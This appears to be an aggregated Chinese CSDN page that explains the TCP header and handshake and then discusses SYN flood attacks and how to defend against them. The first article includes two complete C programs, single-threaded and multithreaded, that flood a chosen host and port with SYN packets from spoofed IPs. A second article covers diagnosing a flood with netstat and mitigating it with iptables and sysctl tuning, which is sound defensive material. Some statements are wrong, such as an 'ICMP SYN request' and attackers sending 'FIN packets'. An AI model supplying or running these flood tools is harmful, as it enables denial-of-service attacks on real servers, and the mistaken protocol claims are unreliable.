tcp洪水攻击_syn洪水攻击脚本 tcp - CSDN
精华内容
参与话题
  • TCP三次握手,四次挥手图解,SYN洪水攻击实例。

    一、建立TCP连接需要三次握手才能建立,在认识TCP三次握手前,我们先来看看TCP报文首部结构:


    源端口和目的端口字段各占2字节。端口是传输层与应用层的服务接口。传输层的复用和分用功能都要通过端口才能实现

    序号字段4字节。TCP连接中传送的数据流中的每一个字节都编上一个序号。序号字段的值则指的是本报文段所发送的数据的第一个字节的序号。 

    确认号字段(ack)4字节,是期望收到对方的下一个报文段的数据的第一个字节的序号。 

    若确认号=N,则表明:到序号N– 1为止的所有数据都已正确收到。
    B正确收到了A发送过来的一个报文段,其序号字段值是501,而数据长度是200字节(序号501 ~ 700),这表明B正确收到了
    发送的到序号700为止的数据。因此,B期望收到A的下一个数据序号是701,于是B在发送给A的确认报文段中把确认号置为701
    请注意,现在的确认号不是501,也不是700,而是701。  

    数据偏移(即首部长度)4位,它指出TCP报文段的数据起始处距离TCP报文段的起始处有多远。“数据偏移”的单位是32位字(以4字节为计算单位)。  

    保留字段6位,保留为今后使用,但目前应置为0。 

    紧急 URG:URG= 1 时,表明紧急指针字段有效。它告诉系统此报文段中有紧急数据,应尽快传送(相当于高优先级的数据) 

    确认 ACK: 只有当ACK= 1 时确认号字段才有效。当 ACK= 0时,确认号无效。 

    推送 PSH(PuSH): 接收TCP收到PSH= 1 的报文段,就尽快地交付接收应用进程,而不再等到整个缓存都填满了后再向上交付。  

    复位 RST(ReSeT): RST= 1 时,表明 TCP连接中出现严重差错(如由于主机崩溃或其他原因),必须释放连接,然后再重新建立运输连接。 

    同步 SYN:同步SYN= 1表示这是一个连接请求或连接接受报文。 

    终止 FIN(FINis): 用来释放一个连接。FIN= 1 表明此报文段的发送端的数据已发送完毕,并要求释放运输连接。 

    窗口字段—— 占 2 字节,用来让对方设置发送窗口的依据,单位为字节

    紧急指针字段 : 16位,指出在本报文段中紧急数据共有多少个字节(紧急数据放在本报文段数据的最前面)。 

    选项字段 :长度可变。TCP最初只规定了一种选项,即最大报文段长度MSSMSS告诉对方TCP:“我的缓存所能接收的报文段的数据字段的最大长度是MSS个字节。” 

    MSS(MaximumSegment Size)是TCP 报文段中的数据字段的最大长度。数据字段加上TCP 首部才等于整个的TCP 报文段。

    填充字段 ——这是为了使整个首部长度是4字节的整数倍。 


    二、说了TCP报文首部的结构,下面来谈谈三次握手的过程:

    (1)



    ATCPB发出连接请求报文段,其首部中的同步位SYN= 1,并选择序号seq =x,表明传送数据时的第一个数据字节的序号是x



    (2)


    BTCP收到连接请求报文段后,如同意,则发回确认。
    B在确认报文段中应使SYN= 1,使ACK= 1其确认号ack =x+1,自己选择的序号seq = y.


    (3)


    A 收到此报文段后向B给出确认,其ACK= 1确认号ack =y+1
    A TCP通知上层应用进程,连接已经建立。   


    接下来:


    B TCP收到主机A的确认后,也通知其上层应用进程:TCP连接已经建立。以后就可以传送数据了。

    至此TCP三次握手就成功的完成啦。


    TCP连接的释放

    (1)



      数据传输结束后,通信的双方都可释放连接。 现在A的应用进程先向其TCP发出连接释放报文段,并停止再发送数据,主动关闭TCP连接。
      A把连接释放报文段首部的FIN = 1,其序号seq =u,等待B的确认。

    (2)


    • B发出确认,确认号ack=u+ 1而这个报文段自己的序号seq =v
     TCP服务器进程通知高层应用进程。
     从 AB这个方向的连接就释放了,TCP连接处于半关闭状态。B若发送数据,A仍要接收

    (3)

      若 B已经没有要向A发送的数据,其应用进程就通知TCP释放连接。 

    (4)

     AB发送确认后,TCP连接进入关闭状态.至此TCP释放完成。



    、SYN洪水攻击

    (1)SYN洪水攻击也称为拒绝服务攻击,它利用了TCP的三次握手,利用大量的TCP连接请求造成目标机的资源耗尽,而不能提供正常的服务或者服务质量下降。

    (2)SYN洪水攻击原理:

    一般情况下的TCP连接函数connect(),经历了三次握手,如果从IP层协议来看,客户端先发送SYN请求,服务器对客户端的SYN进行响应,而客服端对服务器的响应再次进行确认后才建立了一个TCP的连接,在服务器发送响应后,要等待一段时间才能获得客户端的确认,即第二次和第三次握手之间有一个超时时间,SYN攻击就是利用了这个时机。

    SYN攻击利用第二次握手的手段如下:

    (1)主机A发送ICMP的SYN请求给主机B,主机A发送的报文的源IP地址是一个伪造的IP,主机B的第二次握手之后要等待一段时间,接收主机A的确认包,在超时时间内此资源一直在占用,如果主机B的处理TCP三次握手的资源不能满足处理主机A的SYN请求数量,则主机B的可用资源就会慢慢减少,知道耗尽。

    (2)主机A发送的报文是原始报文,发送报文的速度可以达到很高,因此有足够的资源能对目标机造成影响。


    Linux系统中的TCP报文头文件:

    #ifndef _NETINET_TCP_H
    #define _NETINET_TCP_H	1
    
    #include <features.h>
    
    /*
     * User-settable options (used with setsockopt).
     */
    #define	TCP_NODELAY		 1  /* Don't delay send to coalesce packets  */
    #define	TCP_MAXSEG		 2  /* Set maximum segment size  */
    #define TCP_CORK		 3  /* Control sending of partial frames  */
    #define TCP_KEEPIDLE		 4  /* Start keeplives after this period */
    #define TCP_KEEPINTVL		 5  /* Interval between keepalives */
    #define TCP_KEEPCNT		 6  /* Number of keepalives before death */
    #define TCP_SYNCNT		 7  /* Number of SYN retransmits */
    #define TCP_LINGER2		 8  /* Life time of orphaned FIN-WAIT-2 state */
    #define TCP_DEFER_ACCEPT	 9  /* Wake up listener only when data arrive */
    #define TCP_WINDOW_CLAMP	 10 /* Bound advertised window */
    #define TCP_INFO		 11 /* Information about this connection. */
    #define	TCP_QUICKACK		 12 /* Bock/reenable quick ACKs.  */
    #define TCP_CONGESTION		 13 /* Congestion control algorithm.  */
    #define TCP_MD5SIG		 14 /* TCP MD5 Signature (RFC2385) */
    #define TCP_COOKIE_TRANSACTIONS	 15 /* TCP Cookie Transactions */
    #define TCP_THIN_LINEAR_TIMEOUTS 16 /* Use linear timeouts for thin streams*/
    #define TCP_THIN_DUPACK		 17 /* Fast retrans. after 1 dupack */
    #define TCP_USER_TIMEOUT	 18 /* How long for loss retry before timeout */
    #define TCP_REPAIR		 19 /* TCP sock is under repair right now */
    #define TCP_REPAIR_QUEUE	 20 /* Set TCP queue to repair */
    #define TCP_QUEUE_SEQ		 21 /* Set sequence number of repaired queue. */
    #define TCP_REPAIR_OPTIONS	 22 /* Repair TCP connection options */
    #define TCP_FASTOPEN		 23 /* Enable FastOpen on listeners */
    #define TCP_TIMESTAMP		 24 /* TCP time stamp */
    
    #ifdef __USE_MISC
    # include <sys/types.h>
    # include <sys/socket.h>
    
    typedef	u_int32_t tcp_seq;
    /*
     * TCP header.
     * Per RFC 793, September, 1981.
     */
    struct tcphdr
      {
        __extension__ union
        {
          struct
          {
    	u_int16_t th_sport;		/* source port */
    	u_int16_t th_dport;		/* destination port */
    	tcp_seq th_seq;		/* sequence number */
    	tcp_seq th_ack;		/* acknowledgement number */
    # if __BYTE_ORDER == __LITTLE_ENDIAN
    	u_int8_t th_x2:4;		/* (unused) */
    	u_int8_t th_off:4;		/* data offset */
    # endif
    # if __BYTE_ORDER == __BIG_ENDIAN
    	u_int8_t th_off:4;		/* data offset */
    	u_int8_t th_x2:4;		/* (unused) */
    # endif
    	u_int8_t th_flags;
    # define TH_FIN	0x01
    # define TH_SYN	0x02
    # define TH_RST	0x04
    # define TH_PUSH	0x08
    # define TH_ACK	0x10
    # define TH_URG	0x20
    	u_int16_t th_win;		/* window */
    	u_int16_t th_sum;		/* checksum */
    	u_int16_t th_urp;		/* urgent pointer */
          };
          struct
          {
    	u_int16_t source;
    	u_int16_t dest;
    	u_int32_t seq;
    	u_int32_t ack_seq;
    # if __BYTE_ORDER == __LITTLE_ENDIAN
    	u_int16_t res1:4;
    	u_int16_t doff:4;
    	u_int16_t fin:1;
    	u_int16_t syn:1;
    	u_int16_t rst:1;
    	u_int16_t psh:1;
    	u_int16_t ack:1;
    	u_int16_t urg:1;
    	u_int16_t res2:2;
    # elif __BYTE_ORDER == __BIG_ENDIAN
    	u_int16_t doff:4;
    	u_int16_t res1:4;
    	u_int16_t res2:2;
    	u_int16_t urg:1;
    	u_int16_t ack:1;
    	u_int16_t psh:1;
    	u_int16_t rst:1;
    	u_int16_t syn:1;
    	u_int16_t fin:1;
    # else
    #  error "Adjust your <bits/endian.h> defines"
    # endif
    	u_int16_t window;
    	u_int16_t check;
    	u_int16_t urg_ptr;
          };
        };
    };
    
    enum
    {
      TCP_ESTABLISHED = 1,
      TCP_SYN_SENT,
      TCP_SYN_RECV,
      TCP_FIN_WAIT1,
      TCP_FIN_WAIT2,
      TCP_TIME_WAIT,
      TCP_CLOSE,
      TCP_CLOSE_WAIT,
      TCP_LAST_ACK,
      TCP_LISTEN,
      TCP_CLOSING   /* now a valid state */
    };
    
    # define TCPOPT_EOL		0
    # define TCPOPT_NOP		1
    # define TCPOPT_MAXSEG		2
    # define TCPOLEN_MAXSEG		4
    # define TCPOPT_WINDOW		3
    # define TCPOLEN_WINDOW		3
    # define TCPOPT_SACK_PERMITTED	4		/* Experimental */
    # define TCPOLEN_SACK_PERMITTED	2
    # define TCPOPT_SACK		5		/* Experimental */
    # define TCPOPT_TIMESTAMP	8
    # define TCPOLEN_TIMESTAMP	10
    # define TCPOLEN_TSTAMP_APPA	(TCPOLEN_TIMESTAMP+2) /* appendix A */
    
    # define TCPOPT_TSTAMP_HDR	\
        (TCPOPT_NOP<<24|TCPOPT_NOP<<16|TCPOPT_TIMESTAMP<<8|TCPOLEN_TIMESTAMP)
    
    /*
     * Default maximum segment size for TCP.
     * With an IP MSS of 576, this is 536,
     * but 512 is probably more convenient.
     * This should be defined as MIN(512, IP_MSS - sizeof (struct tcpiphdr)).
     */
    # define TCP_MSS	512
    
    # define TCP_MAXWIN	65535	/* largest value for (unscaled) window */
    
    # define TCP_MAX_WINSHIFT	14	/* maximum window shift */
    
    # define SOL_TCP		6	/* TCP level */
    
    
    # define TCPI_OPT_TIMESTAMPS	1
    # define TCPI_OPT_SACK		2
    # define TCPI_OPT_WSCALE	4
    # define TCPI_OPT_ECN		8  /* ECN was negociated at TCP session init */
    # define TCPI_OPT_ECN_SEEN	16 /* we received at least one packet with ECT */
    # define TCPI_OPT_SYN_DATA	32 /* SYN-ACK acked data in SYN sent or rcvd */
    
    /* Values for tcpi_state.  */
    enum tcp_ca_state
    {
      TCP_CA_Open = 0,
      TCP_CA_Disorder = 1,
      TCP_CA_CWR = 2,
      TCP_CA_Recovery = 3,
      TCP_CA_Loss = 4
    };
    
    struct tcp_info
    {
      u_int8_t	tcpi_state;
      u_int8_t	tcpi_ca_state;
      u_int8_t	tcpi_retransmits;
      u_int8_t	tcpi_probes;
      u_int8_t	tcpi_backoff;
      u_int8_t	tcpi_options;
      u_int8_t	tcpi_snd_wscale : 4, tcpi_rcv_wscale : 4;
    
      u_int32_t	tcpi_rto;
      u_int32_t	tcpi_ato;
      u_int32_t	tcpi_snd_mss;
      u_int32_t	tcpi_rcv_mss;
    
      u_int32_t	tcpi_unacked;
      u_int32_t	tcpi_sacked;
      u_int32_t	tcpi_lost;
      u_int32_t	tcpi_retrans;
      u_int32_t	tcpi_fackets;
    
      /* Times. */
      u_int32_t	tcpi_last_data_sent;
      u_int32_t	tcpi_last_ack_sent;	/* Not remembered, sorry.  */
      u_int32_t	tcpi_last_data_recv;
      u_int32_t	tcpi_last_ack_recv;
    
      /* Metrics. */
      u_int32_t	tcpi_pmtu;
      u_int32_t	tcpi_rcv_ssthresh;
      u_int32_t	tcpi_rtt;
      u_int32_t	tcpi_rttvar;
      u_int32_t	tcpi_snd_ssthresh;
      u_int32_t	tcpi_snd_cwnd;
      u_int32_t	tcpi_advmss;
      u_int32_t	tcpi_reordering;
    
      u_int32_t	tcpi_rcv_rtt;
      u_int32_t	tcpi_rcv_space;
    
      u_int32_t	tcpi_total_retrans;
    };
    
    
    /* For TCP_MD5SIG socket option.  */
    #define TCP_MD5SIG_MAXKEYLEN	80
    
    struct tcp_md5sig
    {
      struct sockaddr_storage tcpm_addr;		/* Address associated.  */
      u_int16_t	__tcpm_pad1;			/* Zero.  */
      u_int16_t	tcpm_keylen;			/* Key length.  */
      u_int32_t	__tcpm_pad2;			/* Zero.  */
      u_int8_t	tcpm_key[TCP_MD5SIG_MAXKEYLEN];	/* Key (binary).  */
    };
    
    /* For socket repair options.  */
    struct tcp_repair_opt
    {
      u_int32_t	opt_code;
      u_int32_t	opt_val;
    };
    
    /* Queue to repair, for TCP_REPAIR_QUEUE.  */
    enum
    {
      TCP_NO_QUEUE,
      TCP_RECV_QUEUE,
      TCP_SEND_QUEUE,
      TCP_QUEUES_NR,
    };
    
    /* For cookie transactions socket options.  */
    #define TCP_COOKIE_MIN		8		/*  64-bits */
    #define TCP_COOKIE_MAX		16		/* 128-bits */
    #define TCP_COOKIE_PAIR_SIZE	(2*TCP_COOKIE_MAX)
    
    /* Flags for both getsockopt and setsockopt */
    #define TCP_COOKIE_IN_ALWAYS	(1 << 0)	/* Discard SYN without cookie */
    #define TCP_COOKIE_OUT_NEVER	(1 << 1)	/* Prohibit outgoing cookies,
    						 * supercedes everything. */
    
    /* Flags for getsockopt */
    #define TCP_S_DATA_IN		(1 << 2)	/* Was data received? */
    #define TCP_S_DATA_OUT		(1 << 3)	/* Was data sent? */
    
    #define TCP_MSS_DEFAULT		 536U	/* IPv4 (RFC1122, RFC2581) */
    #define TCP_MSS_DESIRED		1220U	/* IPv6 (tunneled), EDNS0 (RFC3226) */
    
    struct tcp_cookie_transactions
    {
      u_int16_t	tcpct_flags;
      u_int8_t	__tcpct_pad1;
      u_int8_t	tcpct_cookie_desired;
      u_int16_t	tcpct_s_data_desired;
      u_int16_t	tcpct_used;
      u_int8_t	tcpct_value[TCP_MSS_DEFAULT];
    };
    
    #endif /* Misc.  */
    
    #endif /* netinet/tcp.h */

    SYN洪水攻击的例子:

    //syn攻击
    //用法 ./syn hostname destport sourport
    #include <stdlib.h>
    #include <stdio.h>
    #include <errno.h>
    #include <string.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <arpa/inet.h>
    #include <signal.h>
    #include <netinet/tcp.h>
    //攻击函数
    void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
    //校验和
    unsigned short checksum(unsigned char *addr,int len);
    
    //退出信号处理函数
    void signal(int sig)
    {
        printf("终止syn攻击\n");
        exit(1);
    }
    int main(int argc,char** argv)
    {
        int skfd,port;
        struct sockaddr_in target;
        struct hostent *host;
        const int on=1;
        unsigned short srcport;
        bzero(&target,sizeof(struct sockaddr_in));
        target.sin_family=AF_INET;
        port=atoi(argv[2]);
        if (port<0)
        {
            perror("port error");
            exit(1);
        }
        target.sin_port=htons(port);
        
        if(inet_aton(argv[1],&target.sin_addr)==0)
        {
            host=gethostbyname(argv[1]);
            if(host==NULL)
            {
                printf("TargetName Error:%s\n",hstrerror(h_errno));
                exit(1);
            }
            target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
            
        }
        //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
        if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
            perror("Create Error");
            exit(1);
        }
        
        //开启IP_HDRINCL特性,我们自己手动构造IP报文
        if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
            perror("IP_HDRINCL failed");
            exit(1);
        }
        
        //只有root用户才可以使用原始套接字
        //setuid(getpid());
        
        //源端口
        srcport = atoi(argv[3]);
       // printf("%s\n",argv[3]);
        
        signal(SIGINT, signal);
        attack(skfd,&target,srcport);
    }
    
    //在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
    void attack(int skfd,struct sockaddr_in *target,unsigned short srcport)
    {
        char buf[128]={0};
        struct ip *ip;
        struct tcphdr *tcp;
        int ip_len;
        //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
        ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
        //开始填充IP首部
        ip=(struct ip*)buf;
        //IP的版本
        ip->ip_v = IPVERSION;
        //IP都不长度,字节数
        ip->ip_hl = sizeof(struct ip)>>2;
        //服务类型
        ip->ip_tos = 0;
        //ip报文总长度
        ip->ip_len = htons(ip_len);
        //标志
        ip->ip_id=0;
        //段的偏移地址
        ip->ip_off=0;
        //最大的生存时间
        ip->ip_ttl=MAXTTL;
        //协议类型
        ip->ip_p=IPPROTO_TCP;
        
        //校验和,先填0
        ip->ip_sum=0;
        //发送的目标地址
        ip->ip_dst=target->sin_addr;
        
        //开始填充TCP首部
        tcp = (struct tcphdr*)(buf+sizeof(struct ip));
        tcp->th_sport  = htons(srcport);
        tcp->th_dport = target->sin_port;
        tcp->th_seq = random();
        tcp->th_off = 5;
        tcp->th_flags=TH_SYN;
        tcp->th_sum = 0;
        tcp->th_win=65535;
        while(1)
        {
            //源地址伪造
            ip->ip_src.s_addr =random();
            tcp->th_sum=checksum((unsigned char*)tcp,sizeof(struct tcphdr)); //校验和
            sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
        }
    }
    
    //关于CRC校验和的计算
    unsigned short checksum(unsigned char *buf,int len)
    {
        unsigned int sum=0;
        unsigned short *cbuf;
        
        cbuf=(unsigned short *)buf;
        
        while(len>1)
        {
            sum+=*cbuf++;
            len-=2; //剩余尚未累加的16比特的个数
        }
        
        if(len) //若len的长度不是偶数
            sum+=*(unsigned char *)cbuf; //用最后一个字节补齐
        
        //防溢出处理
        sum=(sum>>16)+(sum & 0xffff);
        sum+=(sum>>16);
        return ~sum;
    }

    抓包结果:



    当然也可以用我们前面的TCP服务器进行测试:

    服务器端:


    SYN测试:



    端口检测:



    服务器端收到我们的SYN报文后,会为其分配一条连接资源,并将该连接的状态置为SYN_RECV,然后给客户端回送一个确认,并要求客户端再次确认,但是却一直收不到回复,直到超时才回收资源,这样持续下去将消耗目标机的资源。


    多线程代码:

    //syn攻击
    //用法 ./syn hostname destport
    #include <stdio.h>
    #include <ctype.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <signal.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <time.h>
    #include <pthread.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <string.h>
    #include <syslog.h>
    #include <arpa/inet.h>
    #include <setjmp.h>
    #include <errno.h>
    #include <netinet/tcp.h>
    
    //最多线程数
    #define MAXCHILD 128
    struct sockaddr_in target;
    int skfd,alive=1;
    
    //攻击函数
    void attack();
    //校验和
    unsigned short checksum(unsigned char *addr,int len);
    void *DoS_fun (void * args)
    {
        while(alive)
        {
            attack();
            break;
        }
        return NULL;
    }
    //信号处理函数,设置退出变量alive
    void DoS_sig(int signo)
    {
        alive = 0;
    }
    int main(int argc,char** argv)
    {
        int port;
        struct hostent *host;
        const int on=1;
        pthread_t pthread[MAXCHILD]; //线程标志数组
        bzero(&target,sizeof(struct sockaddr_in));
        target.sin_family=AF_INET;
        port=atoi(argv[2]);
        if (port<0)
        {
            perror("port error");
            exit(1);
        }
        target.sin_port=htons(port);
        
        if(inet_aton(argv[1],&target.sin_addr)==0)
        {
            host=gethostbyname(argv[1]);
            if(host==NULL)
            {
                printf("TargetName Error:%s\n",hstrerror(h_errno));
                exit(1);
            }
            target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
            
        }
        //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
        if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
            perror("Create Error");
            exit(1);
        }
        //开启IP_HDRINCL特性,我们自己手动构造IP报文
        if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)))
        {
            perror("IP_HDRINCL failed");
            exit(1);
        }
        
        //只有root用户才可以使用原始套接字
        //setuid(getpid());
        
        
        signal(SIGINT, DoS_sig);
        for(int i=0; i<MAXCHILD; i++)
        {
            pthread_create(&pthread[i], NULL, DoS_fun, NULL);
        }
        //等待线程结束
        for(int i=0; i<MAXCHILD; i++)
            pthread_join(pthread[i], NULL);
        close(skfd);
    }
    
    //在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
    void attack()
    {
        char buf[128]={0};
        struct ip *ip;
        struct tcphdr *tcp;
        int ip_len;
        //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
        ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
        //开始填充IP首部
        ip=(struct ip*)buf;
        //IP的版本
        ip->ip_v = IPVERSION;
        //IP都不长度,字节数
        ip->ip_hl = sizeof(struct ip)>>2;
        //服务类型
        ip->ip_tos = 0;
        //ip报文总长度
        ip->ip_len = htons(ip_len);
        //标志
        ip->ip_id=0;
        //段的偏移地址
        ip->ip_off=0;
        //最大的生存时间
        ip->ip_ttl=MAXTTL;
        //协议类型
        ip->ip_p=IPPROTO_TCP;
        
        //校验和,先填0
        ip->ip_sum=0;
        //发送的目标地址
        ip->ip_dst=target.sin_addr;
        
        //开始填充TCP首部
        tcp = (struct tcphdr*)(buf+sizeof(struct ip));
        tcp->th_sport  = random();
        tcp->th_dport = target.sin_port;
        tcp->th_seq = random();
        tcp->th_off = 5;
        tcp->th_flags=TH_SYN;
        tcp->th_sum = 0;
        tcp->th_win=65535;
        
        //源地址伪造
        ip->ip_src.s_addr =random();
        tcp->th_sum=checksum((unsigned char*)tcp,sizeof(struct tcphdr)); //校验和
        sendto(skfd,buf,ip_len,0,(struct sockaddr*)&target,sizeof(struct sockaddr_in));
        
    }
    
    //关于CRC校验和的计算
    unsigned short checksum(unsigned char *buf,int len)
    {
        unsigned int sum=0;
        unsigned short *cbuf;
        cbuf=(unsigned short *)buf;
        
        while(len>1)
        {
            sum+=*cbuf++;
            len-=2; //剩余尚未累加的16比特的个数
        }
        
        if(len) //若len的长度不是偶数
            sum+=*(unsigned char *)cbuf; //用最后一个字节补齐
        
        //防溢出处理
        sum=(sum>>16)+(sum & 0xffff);
        sum+=(sum>>16);
        return ~sum;
    }





    展开全文
  • 本篇文章主要介绍了详解Linux系统如何低于TCP洪水攻击,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
  • 前段时间网站被攻击多次,其中最猛烈的就是TCP洪水攻击,即SYN Flood。 SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接...

    1. SYN Flood介绍

    前段时间网站被攻击多次,其中最猛烈的就是TCP洪水攻击,即SYN Flood。

    SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,常用假冒的IP或IP号段发来海量的请求连接的第一个握手包(SYN包),被攻击服务器回应第二个握手包(SYN+ACK包),因为对方是假冒IP,对方永远收不到包且不会回应第三个握手包。导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。

    详细的原理,网上有很多介绍,应对办法也很多,但大部分没什么效果,这里介绍我们是如何诊断和应对的。

    2. 诊断

    我们看到业务曲线大跌时,检查机器和DNS,发现只是对外的web机响应慢、CPU负载高、ssh登陆慢甚至有些机器登陆不上,检查系统syslog:

    tail -f /var/log/messages
    Apr 18 11:21:56 web5 kernel: possible SYN flooding on port 80. Sending cookies.

    检查连接数增多,并且SYN_RECV 连接特别多:
    # netstat -n awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 
    TIME_WAIT 16855
    CLOSE_WAIT 21
    SYN_SENT 99
    FIN_WAIT1 229
    FIN_WAIT2 113
    ESTABLISHED 8358
    SYN_RECV 48965
    CLOSING 3
    LAST_ACK 313

    根据经验,正常时检查连接数如下:
    # netstat -n awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 
    TIME_WAIT 42349
    CLOSE_WAIT 1
    SYN_SENT 4
    FIN_WAIT1 298
    FIN_WAIT2 33
    ESTABLISHED 12775
    SYN_RECV 259
    CLOSING 6
    LAST_ACK 432

    以上就是TCP洪水攻击的两大特征。执行netstat -na>指定文件,保留罪证。

    3. 应急处理

    根据netstat查看到的对方IP特征:
    # netstat -na |grep SYN_RECV|more

    利用iptables临时封掉最大嫌疑攻击的IP或IP号段,例如对方假冒173.*.*.*号段来攻击,短期禁用173.*.*.*这个大号段(要确认小心不要封掉自己的本地IP了!)
    # iptables -A INPUT -s  173.0.0.0/8  -p tcp  –dport 80 -j DROP

    再分析刚才保留的罪证,分析业务,用iptables解封正常173.*.*.*号段内正常的ip和子网段。这样应急处理很容易误伤,甚至可能因为封错了导致ssh登陆不了服务器,并不是理想方式。

    4. 使用F5挡攻击

    应急处理毕竟太被动,因为本机房的F5比较空闲,运维利用F5来挡攻击,采用方式:让客户端先和F5三次握手,连接建立之后F5才转发到后端业务服务器。后来被攻击时F5上看到的现象:
    1. 连接数比平时多了500万,攻击停止后恢复。
    2. 修改F5上我们业务的VS模式后,F5的CPU消耗比平时多7%,攻击停止后恢复。
    3. 用F5挡效果明显,后来因攻击无效后,用户很少来攻击了,毕竟攻击也是有成本的。

    5. 调整系统参数挡攻击

    没有F5这种高级且昂贵的设备怎么办?我测试过以下参数组合能明显减小影响,准备以后不用F5抗攻击。

    第一个参数tcp_synack_retries 0是关键,表示回应第二个握手包(SYN+ACK包)给客户端IP后,如果收不到第三次握手包(ACK包)后,不进行重试,加快回收“半连接”,不要耗光资源。

    不修改这个参数,模拟攻击,10秒后被攻击的80端口即无法服务,机器难以ssh登录; 用命令netstat -na |grep SYN_RECV检测“半连接”hold住180秒;

    修改这个参数为0,再模拟攻击,持续10分钟后被攻击的80端口都可以服务,响应稍慢些而已,只是ssh有时也登录不上;检测“半连接”只hold住3秒即释放掉。

    修改这个参数为0的副作用:网络状况很差时,如果对方没收到第二个握手包,可能连接服务器失败,但对于一般网站,用户刷新一次页面即可。这些可以在高峰期或网络状况不好时tcpdump抓包验证下。

    根据以前的抓包经验,这种情况很少,但为了保险起见,可以只在被tcp洪水攻击时临时启用这个参数。

    tcp_synack_retries默认为5,表示重发5次,每次等待30~40秒,即“半连接”默认hold住大约180秒。详细解释:

    The tcp_synack_retries setting tells the kernel how many times to retransmit the SYN,ACK reply to
    an SYN request. In other words, this tells the system how many times to try to establish a passive
    TCP connection that was started by another host.
    This variable takes an integer value, but should under no circumstances be larger than 255 for the
    same reasons as for the tcp_syn_retries variable. Each retransmission will take aproximately 30-40
    seconds. The default value of the tcp_synack_retries variable is 5, and hence the default timeout
    of passive TCP connections is aproximately 180 seconds.

     

    之所以可以把tcp_synack_retries改为0,因为客户端还有tcp_syn_retries参数,默认是5,即使服务器端没有重发SYN+ACK包,客户端也会重发SYN握手包。详细解释:

    The tcp_syn_retries variable tells the kernel how many times to try to retransmit the initial SYN
    packet for an active TCP connection attempt.
    This variable takes an integer value, but should not be set higher than 255 since each
    retransmission will consume huge amounts of time as well as some amounts of bandwidth. Each
    connection retransmission takes aproximately 30-40 seconds. The default setting is 5, which
    would lead to an aproximate of 180 seconds delay before the connection times out.

     

    第二个参数net.ipv4.tcp_max_syn_backlog 200000也重要,具体多少数值受限于内存。

    以下配置,第一段参数是最重要的,第二段参数是辅助的,其余参数是其他作用的:
    # vi /etc/sysctl.conf

    #最关键参数,默认为5,修改为0 表示不要重发

    net.ipv4.tcp_synack_retries = 0

    #半连接队列长度

    net.ipv4.tcp_max_syn_backlog = 200000

    #系统允许的文件句柄的最大数目,因为连接需要占用文件句柄

    fs.file-max = 819200

    #用来应对突发的大并发connect 请求

    net.core.somaxconn = 65536

    #最大的TCP 数据接收缓冲(字节)

    net.core.rmem_max = 1024123000

    #最大的TCP 数据发送缓冲(字节)

    net.core.wmem_max = 16777216

    #网络设备接收数据包的速率比内核处理这些包的速率快时,允许送到队列的数据包的最大数目

    net.core.netdev_max_backlog = 165536

    #本机主动连接其他机器时的端口分配范围

    net.ipv4.ip_local_port_range = 10000 65535

    使配置生效:
    # sysctl -p

    注意,以下参数面对外网时,不要打开。因为副作用很明显,具体原因请google,如果已打开请显式改为0,然后执行sysctl -p关闭。因为经过试验,大量TIME_WAIT状态的连接对系统没太大影响:

    #当出现 半连接 队列溢出时向对方发送syncookies,调大 半连接 队列后没必要

    net.ipv4.tcp_syncookies = 0

    #TIME_WAIT状态的连接重用功能

    net.ipv4.tcp_tw_reuse = 0

    #时间戳选项,与前面net.ipv4.tcp_tw_reuse参数配合

    net.ipv4.tcp_timestamps = 0

    #TIME_WAIT状态的连接回收功能

    net.ipv4.tcp_tw_recycle = 0

    为了处理大量连接,还需改大另一个参数:
    # vi /etc/security/limits.conf 

    在底下添加一行表示允许每个用户都最大可打开409600个文件句柄(包括连接):
                   –       nofile          409600

    6. 参考资料

    文件句柄不要超过系统限制/usr/include/linux/fs.h,相关链接: ​http://blog.yufeng.info/archives/1380
    #define NR_OPEN (1024*1024)     

    内核参数详细解释:http://www.frozentux.net/ipsysctl-tutorial/chunkyhtml/tcpvariables.html

    简介

    TCP协议要经过三次握手才能建立连接:

    (from wiki)


    于是出现了对于握手过程进行的攻击。攻击者发送大量的FIN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+ACK)是否发送成功,默认情况下会重试5次(tcp_syn_retries)。这样的话,对于服务器的内存,带宽都有很大的消耗。攻击者如果处于公网,可以伪造IP的话,对于服务器就很难根据IP来判断攻击者,给防护带来很大的困难。

    攻与防

    攻击者角度

    从攻击者的角度来看,有两个地方可以提高服务器防御的难度的:

     

    • 变换端口
    • 伪造IP

     

